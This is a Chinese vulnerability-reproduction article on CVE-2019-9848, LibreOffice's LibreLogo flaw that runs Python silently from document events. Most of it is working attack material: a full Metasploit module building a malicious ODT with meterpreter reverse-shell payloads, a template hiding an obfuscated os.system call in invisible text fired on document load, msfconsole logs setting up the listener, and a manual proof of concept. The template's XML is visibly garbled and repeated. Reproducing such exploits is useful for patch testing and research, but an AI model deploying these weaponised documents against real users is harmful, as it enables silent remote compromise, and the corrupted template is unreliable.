CVE-2019-9848 LibreOffice < 6.2.5 任意python命令执行漏洞复现

0X1 漏洞概述

LibreOffice是OpenOffice.org 办公套件衍生版, 同样自由开源,以Mozilla Public License V2.0许可证分发源代码,但相比OpenOffice增加了很多特色功能。LibreOffice拥有强大的数据导入和导出功能,能直接导入PDF文档、微软Works、LotusWord,支持主要的OpenXML格式。软件本身并不局限于Debian和Ubuntu平台,OpenXML格式Windows、Mac、PRM packageLinux等多个系统平台。

日前,有研究人员在6.2.5之前的LibreOffice中发现了一个问题,其中文档可以指定预安装的脚本可以在各种文档事件上执行,例如鼠标悬停等。LibreOffice通常也与LibreLogo捆绑在一起,LibreLogo是一个可编程的矢量图形脚本,可以操作执行任意python命令。通过使用文档事件功能来触发LibreLogo执行文档中包含的python,可以构造恶意文档,该文档将在没有警告的情况下静默执行任意python命令。在固定版本中,无法从文档事件处理程序中调用LibreLogo。漏洞影响版本如下

LibreOffice < 6.2.5

在6.2.5中已经修复该漏洞。

0X2 环境搭建

下载6.2.5之前的漏洞版本

https://downloadarchive.documentfoundation.org/libreoffice/old/

在这里,我们使用的测试版本是LibreOffice_6.2.4.2_Win_x64.msi,在虚拟机中安装

0X3 漏洞利用

Rapid官方已经有人员发布了该漏洞的利用脚本,代码如下

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
class MetasploitModule < Msf::Exploit::Remote  Rank = NormalRanking
  include Msf::Exploit::FILEFORMAT  include Msf::Exploit::Powershell  include Msf::Exploit::CmdStager
  def initialize(info = {})    super(update_info(info,      'Name'           => 'LibreOffice Macro Python Code Execution',      'Description'    => %q{        LibreOffice comes bundled with sample macros written in Python and        allows the ability to bind program events to them.         LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.        This module generates an ODT file with a dom loaded event that,        when triggered, will execute arbitrary python code and the metasploit payload.      },      'License'        => MSF_LICENSE,      'Author'         =>      [        'Nils Emmerich',    # Vulnerability discovery and PoC        'Shelby Pace',      # Based on this module (exploiting CVE-2018-16858)        'LoadLow'           # This msf module      ],      'References'     =>        [          [ 'CVE', 'CVE-2019-9848' ],          [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]        ],     'Platform'       => [ 'win', 'linux' ],     'Arch'           => [ ARCH_X86, ARCH_X64 ],     'Targets'        =>        [          [            'Windows',            {              'Platform'        =>  'win',              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],              'payload'         =>  'windows/meterpreter/reverse_tcp',              'DefaultOptions'  =>  { 'PrependMigrate'  =>  true }            }          ],          [            'Linux',            {              'Platform'        =>  'linux',              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],              'payload'         =>  'linux/x86/meterpreter/reverse_tcp',              'DefaultOptions'  =>  { 'PrependFork' =>  true },              'CmdStagerFlavor' =>  'printf',            }          ]        ],      'DisclosureDate'  =>  "July 16, 2019",       'DefaultTarget'   =>  0    ))
    register_options(    [      OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])    ])  end
  def encode_cmd    @cmd = Rex::Text.html_encode(@cmd)    @cmd = @cmd.gsub("&#x41;", "\\x41")  end
  def gen_windows_cmd    opts =    {      :remove_comspec       =>  true,      :method               =>  'reflection',      :encode_final_payload =>  true    }    @cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)  end
  def gen_linux_cmd    @cmd = generate_cmdstager.first    @cmd = @cmd.gsub!("\\", "\\\\\\")    @cmd = @cmd.gsub!("'", "\"")  end
  def gen_file()    text_content = "My Report"    encode_cmd
    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))    libre_file = ERB.new(fodt_file).result(binding())    libre_file  rescue Errno::ENOENT    fail_with(Failure::NotFound, 'Cannot find template file')  end
  def exploit    if datastore['TARGET'] == 0      gen_windows_cmd    elsif datastore['TARGET'] == 1      gen_linux_cmd    else      fail_with(Failure::BadConfig, 'A formal target was not chosen.')    end    fodt_file = gen_file
    file_create(fodt_file)  endend

我们将其下载并复制到metasploit-framework的如下目录中

usr/share/metasploit-framework/modules/exploit/multi/fileformat/

然后命名成libreoffice_logo_exec.rb即可。这里要注意,metasploit中的脚本名称必须是小写,大写的话不能加载,报很多错误。

将上面的漏洞利用脚本拷贝到exploit/multi/fileformat/目录中之后,使用的时候报错,提示没有文档模板

从github上找一个erb文档模板,内容如下:

<?xml  version = “ 1.0 ”  encoding = “ UTF-8 ”?>
<office:document xmlns:office =“urn:oasis:names:tc:opendocument:xmlns:office:1.0”xmlns:style =“urn:oasis:names:tc:opendocument:xmlns:style:1.0”xmlns:text = “urn:oasis:names:tc:opendocument:xmlns:text:1.0”xmlns:table =“urn:oasis:names:tc:opendocument:xmlns:table:1.0”xmlns:draw =“urn:oasis:names:tc :opendocument:xmlns:drawing:1.0“xmlns:fo =”urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0“xmlns:xlink =”http://www.w3.org/1999 / xlink“xmlns:dc =”http://purl.org/dc/elements/1.1/“xmlns:meta =”urn:oasis:names:tc:opendocument:xmlns:meta:1.0“xmlns:number =”urn :oasis:names:tc:opendocument:xmlns:datastyle:1.0“xmlns:svg =”urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0“xmlns:chart =”urn:oasis:names:tc :开放文档:的xmlns:图表:1。0“xmlns:dr3d =”urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0“xmlns:math =”http://www.w3.org/1998/Math/MathML“xmlns:form =”urn :oasis:names:tc:opendocument:xmlns:form:1.0“xmlns:script =”urn:oasis:names:tc:opendocument:xmlns:script:1.0“xmlns:config =”urn:oasis:names:tc:opendocument :xmlns:config:1.0“xmlns:ooo =”http://openoffice.org/2004/office“xmlns:ooow =”http://openoffice.org/2004/writer“xmlns:oooc =”http:// openoffice.org/2004/calc“xmlns:dom =”http://www.w3.org/2001/xml-events“xmlns:xforms =”http://www.w3.org/2002/xforms“xmlns: xsd =“http://www.w3.org/2001/XMLSchema”xmlns:xsi =“http://www.w3.org/2001/XMLSchema-instance”xmlns:rpt =“http://openoffice.org / 2005 / report“xmlns:of =”urn:oasis:names:tc:opendocument:xmlns:of:1.2“xmlns:xhtml =”http://www.w3.org/1999/xhtml“xmlns:grddl =”http://www.w3.org/2003/g/data-view#“xmlns :officeooo =“http://openoffice.org/2009/office”xmlns:tableooo =“http://openoffice.org/2009/table”xmlns:drawooo =“http://openoffice.org/2010/draw” xmlns:calcext =“urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0”xmlns:loext =“urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0”xmlns:field = “urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0”xmlns:formx =“urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0”xmlns:css3t = “http://www.w3.org/TR/css3-text/”office:version =“1.2”office:mimetype =“application / vnd.oasis.opendocument.text”>xhtml =“http://www.w3.org/1999/xhtml”xmlns:grddl =“http://www.w3.org/2003/g/data-view#”xmlns:officeooo =“http:// openoffice.org/2009/office“xmlns:tableooo =”http://openoffice.org/2009/table“xmlns:drawooo =”http://openoffice.org/2010/draw“xmlns:calcext =”urn:org :documentfoundation:names:experimental:calc:xmlns:calcext:1.0“xmlns:loext =”urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0“xmlns:field =”urn:openoffice:names:experimental :ooo-ms-interop:xmlns:field:1.0“xmlns:formx =”urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0“xmlns:css3t =”http://www.w3 .org / TR / css3-text /“office:version =”1.2“office:mimetype =”application / vnd.oasis.opendocument.text“>xhtml =“http://www.w3.org/1999/xhtml”xmlns:grddl =“http://www.w3.org/2003/g/data-view#”xmlns:officeooo =“http:// openoffice.org/2009/office“xmlns:tableooo =”http://openoffice.org/2009/table“xmlns:drawooo =”http://openoffice.org/2010/draw“xmlns:calcext =”urn:org :documentfoundation:names:experimental:calc:xmlns:calcext:1.0“xmlns:loext =”urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0“xmlns:field =”urn:openoffice:names:experimental :ooo-ms-interop:xmlns:field:1.0“xmlns:formx =”urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0“xmlns:css3t =”http://www.w3 .org / TR / css3-text /“office:version =”1.2“office:mimetype =”application / vnd.oasis.opendocument.text“>xmlns:grddl =“http://www.w3.org/2003/g/data-view#”xmlns:officeooo =“http://openoffice.org/2009/office”xmlns:tableooo =“http:// openoffice.org/2009/table“xmlns:drawooo =”http://openoffice.org/2010/draw“xmlns:calcext =”urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0“xmlns:loext =“urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0”xmlns:field =“urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0”xmlns:formx = “urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0”xmlns:css3t =“http://www.w3.org/TR/css3-text/”office:version =“1.2”办公室:mime类型= “应用/ vnd.oasis.opendocument.text”>xmlns:grddl =“http://www.w3.org/2003/g/data-view#”xmlns:officeooo =“http://openoffice.org/2009/office”xmlns:tableooo =“http:// openoffice.org/2009/table“xmlns:drawooo =”http://openoffice.org/2010/draw“xmlns:calcext =”urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0“xmlns:loext =“urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0”xmlns:field =“urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0”xmlns:formx = “urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0”xmlns:css3t =“http://www.w3.org/TR/css3-text/”office:version =“1.2”办公室:mime类型= “应用/ vnd.oasis.opendocument.text”>//openoffice.org/2009/office“xmlns:tableooo =”http://openoffice.org/2009/table“xmlns:drawooo =”http://openoffice.org/2010/draw“xmlns:calcext =”urn :org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0“xmlns:loext =”urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0“xmlns:field =”urn:openoffice:names :experimental:ooo-ms-interop:xmlns:field:1.0“xmlns:formx =”urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0“xmlns:css3t =”http:// www .w3.org / TR / css3-text /“office:version =”1.2“office:mimetype =”application / vnd.oasis.opendocument.text“>//openoffice.org/2009/office“xmlns:tableooo =”http://openoffice.org/2009/table“xmlns:drawooo =”http://openoffice.org/2010/draw“xmlns:calcext =”urn :org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0“xmlns:loext =”urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0“xmlns:field =”urn:openoffice:names :experimental:ooo-ms-interop:xmlns:field:1.0“xmlns:formx =”urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0“xmlns:css3t =”http:// www .w3.org / TR / css3-text /“office:version =”1.2“office:mimetype =”application / vnd.oasis.opendocument.text“>documentfoundation:names:experimental:calc:xmlns:calcext:1.0“xmlns:loext =”urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0“xmlns:field =”urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0“xmlns:formx =”urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0“xmlns:css3t =”http://www.w3。org / TR / css3-text /“office:version =”1.2“office:mimetype =”application / vnd.oasis.opendocument.text“>documentfoundation:names:experimental:calc:xmlns:calcext:1.0“xmlns:loext =”urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0“xmlns:field =”urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0“xmlns:formx =”urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0“xmlns:css3t =”http://www.w3。org / TR / css3-text /“office:version =”1.2“office:mimetype =”application / vnd.oasis.opendocument.text“>w3.org/TR/css3-text/“office:version =”1.2“office:mimetype =”application / vnd.oasis.opendocument.text“>w3.org/TR/css3-text/“office:version =”1.2“office:mimetype =”application / vnd.oasis.opendocument.text“>< office:meta > < meta:creation-date > 2019-01-30T10:53:06.762000000 </ meta:creation-date > < dc:date > 2019-01-30T10:53:49.512000000 </ dc:date > < meta:editing-duration > PT44S </ meta:editing-duration > < meta:editing-cycles > 1 </ meta:editing-cycles > < meta:document-statistic  meta:table-count = “ 0 ”  meta:image- count = “ 0 ”  meta:object-count = “ 0 ”  meta:page-count = “ 1 ” meta:paragraph-count = “ 1 ”  meta:word-count = “ 1 ”  meta:character-count = “ 4 ”  meta:non-whitespace-character-count = “ 4 ” /> < meta:generator > LibreOffice / 6.1 .2.1 $ Windows_X86_64 LibreOffice_project / 65905a128db06ba48db947242809d14d3f9a93fe </ meta:generator > </ office:meta >< office:scripts > < office:event-listeners > < script:event-listener  script:language = “ ooo:script ”  script:event-name = “ dom:load ”  xlink:href = “ vnd.sun.star.script :LibreLogo | LibreLogo.py $ run?language = Python &amp ; location = share “  xlink:type = ” simple “ /> </ office:event-listeners > </ office:scripts >< office:styles >  < style:default-style  style:family = “ graphic ” >   < style:graphic-properties  svg:stroke-color = “#3465a4 ”  draw:fill-color = “#729fcf ”  fo:wrap-option = “ no-wrap ”  draw:shadow-offset-x = “ 0.1181in ”  draw :shadow-offset-y = “ 0.1181in ”  draw:start-line-spacing-horizontal = “ 0.1114in ”  draw:start-line-spacing-vertical = “ 0.1114in ”  draw:end-line-spacing-horizontal = “ 0。1114in “ draw:end-line-spacing-vertical = “ 0.1114in ”  style:flow-with-text = “ false ” />   < style:paragraph-properties  style:text-autospace = “ ideograph-alpha ”  style:line-break = “ strict ”  style:font-independent-line-spacing = “ false ” >    < style:tab-stops />   </ style:paragraph-properties >   < style:text-properties  style:use-window-font-color = “ true ”  style:font-name = “ Liberation Serif ”  fo:font-size = “ 96pt ”  fo:language = “ en ”  fo:country = “美国“  style:letter-kerning = ” true “  style:font-name-asian = ” NSimSun “  style:font-size-asian = ” 96pt “  style:language-asian = “ zh“  style:country-asian = ” CN “  style:font-name-complex = ” Arial “  style:font-size-complex = ” 96pt “  style:language-complex = ” hi “  style:country-complex = ” IN “ />  </ style:default-style >  < style:default-style  style:family = “ paragraph ” >   < style:paragraph-properties  fo:orphans = “ 2 ”  fo:widows = “ 2 ”  fo:hyphenation-ladder-count = “ no-limit ”  style:text-autospace = “ ideograph-alpha ”  style:punctuation-wrap = “悬挂” 样式:line-break = “ strict ” 样式:tab-stop-distance = “ 0.4925in ” 样式:writing-mode = “ page ” />   < style:text-properties  style:use-window-font-color = “ true ”  style:font-name = “ Liberation Serif ”  fo:font-size = “ 96pt ”  fo:language = “ en ”  fo:country = “美国“  style:letter-kerning = ” true “  style:font-name-asian = ” NSimSun “  style:font-size-asian = ” 96pt “  style:language-asian = “ zh “  style:country-asian = ” CN “  style:font-name-complex = ” Arial “  style:font-size-complex = ” 96pt “  style:language-complex = ” hi “  style:country-complex = ” IN “  fo:hyphenate = “ false ”  fo:hyphenation-remain-char-count = “ 2 ”  fo:hyphenation-push-char-count = “ 2 ” />  </ style:default-style >  < style:default-style  style:family = “ table ” >   < style:table-properties  table:border-model = “ collapsing ” />  </ style:default-style >  < style:default-style  style:family = “ table-row ” >   < style:table-row-properties  fo:keep-together = “ auto ” />  </ style:default-style >  < style:style  style:name = “ Standard ”  style:family = “ paragraph ”  style:class = “ text ”  fo:color = “#fffffff ” />  < style:style  style:name = “ Text_20_body ”  style:display-name = “ Text body ”  style:family = “ paragraph ”  style:parent-style-name = “ Standard ”  style:class = “ text ” >   < style:paragraph-properties  fo:margin-top = “ 0in ”  fo:margin-bottom = “ 0.0972in ”  loext:contextual-spacing = “ false ”  fo:line-height = “ 20%” />  </ style:style >  < style:style  style:name = “ Internet_20_link ”  style:display-name = “ Internet link ”  style:family = “ text ” >   < style:text-properties  fo:color = “# fffffff ” fo:language = “ zxx ”  fo:country = “ none ”  style:text-underline-style = “ solid ”  style:text-underline-width = “ auto ”  style:text-underline-color = “ font-color ” 样式:language-asian = “ zxx ” 样式:country-asian = “ none ” 样式:language-complex = “ zxx“  style:country-complex = ” none “ />  </ style:style >  < style:style  style:name = “ P8 ”  style:family = “ paragraph ”  style:parent-style-name = “ Preformatted_20_Text ” > < style:text-properties  fo:color = “ #ffffff ”  fo:font-size = “ 2pt ”  officeooo:rsid = “ 00443c94 ”  officeooo:paragraph-rsid = “ 00443c94 ”  style:font-size-asian = “ 2pt ” 风格:字体大小,复杂= “ 2pt ” /> </ style:style ></ office:styles >< office:master-styles >  < style:master-page  style:name = “ Standard ”  style:page-layout-name = “ pm1 ” /></ office:master-styles >< office:body >  < office:text >  < text:p  text:style-name = “ P8 ” > &#x67 ;&#x65 ;&#x74 ;&#x61 ;&#x74 ;&#x74 ;&#x72 ; (&#x5f ;&#x5f ;&#x69 ;&#x6d ;&#x70 ;&#x6f ;&#x72 ;&#x74 ;&#x5f ;&#x5f ;(&#x201C ; \ x6f \ &#x78 ; 73&#x201D ; ),&#x201C ; \ &#x78 ; 73 &#x78 ; 79 \ &#x78 ; 73 &#x78 ; 74 \ x65 \ &#x78 ; 6d &#x201D ; )(“ <%= @ cmd%> ”)</ text:p >    < text:p  text:style-name = “ Standard ” >#<%= text_content %> </ text:p >  </ office:text ></ office:body ></ office:document >

保存成 librefile.erb 文件并存储到如下目录

/usr/share/metasploit-framework/data/exploits/CVE-2019-9848/

再次重启metasploit并运行,即可生成一个恶意文档

root@kali:~# msfconsole [-] ***rting the Metasploit Framework console...-[-] * WARNING: No database support: No database YAML file[-] ***                                                  IIIIII    dTb.dTb        _.---._  II     4'  v  'B   .'"".'/|\`.""'.  II     6.     .P  :  .' / | \ `.  :  II     'T;. .;P'  '.'  /  |  \  `.'  II      'T; ;P'    `. /   |   \ .'IIIIII     'YvP'       `-.__|__.-'
I love shells --egypt

       =[ metasploit v5.0.38-dev                          ]+ -- --=[ 1913 exploits - 1073 auxiliary - 329 post       ]+ -- --=[ 545 payloads - 45 encoders - 10 nops            ]+ -- --=[ 3 evasion                                       ]
msf5 > msf5 > use exploit/multi/fileformat/libreoffice_logo_exec msf5 exploit(multi/fileformat/libreoffice_logo_exec) > set LHOST 172.16.1.134LHOST => 172.16.1.134msf5 exploit(multi/fileformat/libreoffice_logo_exec) > set LPORT 4567LPORT => 4567msf5 exploit(multi/fileformat/libreoffice_logo_exec) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf5 exploit(multi/fileformat/libreoffice_logo_exec) > run
[+] librefile.odt stored at /root/.msf4/local/librefile.odtmsf5 exploit(multi/fileformat/libreoffice_logo_exec) > msf5 exploit(multi/fileformat/libreoffice_logo_exec) > 

然后设置回显监听

msf5 exploit(multi/fileformat/libreoffice_logo_exec) > use exploit/multi/handler msf5 exploit(multi/handler) > msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set LHOST 172.16.1.134LHOST => 172.16.1.134msf5 exploit(multi/handler) > set LPORT  4567LPORT => 4567msf5 exploit(multi/handler) > exploit 
[*] Started reverse TCP handler on 172.16.1.134:4567 

然后将我们上一步生成的文档复制到安装了LibreOffice 6.2 64位版本的虚拟机中,打开,观察msf中的监听

其中,在虚拟机中文档打开是如下图所示:

msf中已经有连接过来

漏洞利用成功!

不想用Metasploit验证的话,我们在虚拟机中打开LibreOffice,新建一个文档,输入如下代码:

import osos.system("calc")os.system("notepad")run

然后对run这个值插入超链接:

然后对鼠标在对象之上选择LibreLogo中的run宏并指定

结果如下

点击确定之后!发现文档中的run下标颜色不一样了

鼠标在run从左到右划过,变会看到计算器和记事本被打开了

0X4 漏洞分析

使用onmouseover事件和与LibreOffice一起安装的python示例。

在分配此脚本(或在LibreOffice世界中调用的事件)并保存此文件后,查看创建的文件结构:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>

该文件包含createTable函数。所以打开创建的ODT文件并将鼠标移到链接上,令我惊讶的是python文件在没有任何警告对话框的情况下执行。需要注意的是 LibreOffice附带了自己的python解释器,因此不需要实际安装python。所以命令能够被触发。

原文发布于微信公众号 - 玄魂工作室(xuanhun521)

原文发表时间:2019-08-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券